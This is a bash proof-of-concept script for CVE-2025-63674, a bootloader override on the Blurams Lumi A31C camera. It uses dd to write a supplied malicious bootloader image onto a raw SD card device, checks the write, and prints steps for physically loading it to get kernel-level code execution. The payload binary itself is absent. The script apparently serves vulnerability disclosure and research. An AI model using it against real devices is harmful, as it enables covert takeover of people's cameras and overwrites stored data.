CVE-2025-63674

#!/bin/bash # CVE-2025-63674 PoC - Blurams Lumi Camera Bootloader Override # This PoC demonstrates the bootloader override vulnerability # Author: Security Research # Reference: https://vindivlabs.com/research/lumi_part_2/ # Prerequisites: # - Physical access to Blurams Lumi Camera (A31C) # - SD card (formatted as FAT32) # - Malicious bootloader binary (malicious_bootloader.bin) # Step 1: Prepare the malicious bootloader on SD card echo "[*] Preparing malicious bootloader on SD card..." # Create a backup of original SD card contents (if any) mkdir -p backup mount /dev/sdX1 /mnt/sdcard 2>/dev/null || true cp -r /mnt/sdcard/* backup/ 2>/dev/null || true umount /mnt/sdcard 2>/dev/null || true # Step 2: Write malicious bootloader to SD card echo "[*] Writing malicious bootloader to SD card..." dd if=malicious_bootloader.bin of=/dev/sdX1 bs=512 seek=0 conv=notrunc # Step 3: Verify the write operation echo "[*] Verifying bootloader installation..." md5sum malicious_bootloader.bin > /tmp/bootloader_hash.txt dd if=/dev/sdX1 bs=512 count=1 | md5sum # Step 4: Instructions for physical attack echo "[!] SD card is ready for physical attack" echo "[!] Insert SD card into Blurams Lumi Camera" echo "[!] Power on the device - malicious bootloader will be loaded" echo "[!] Attacker gains arbitrary code execution with kernel privileges" # Note: The actual malicious bootloader binary needs to be crafted # based on the device architecture (typically ARM) and specific firmware version # This is a conceptual PoC for educational and security research purposes only

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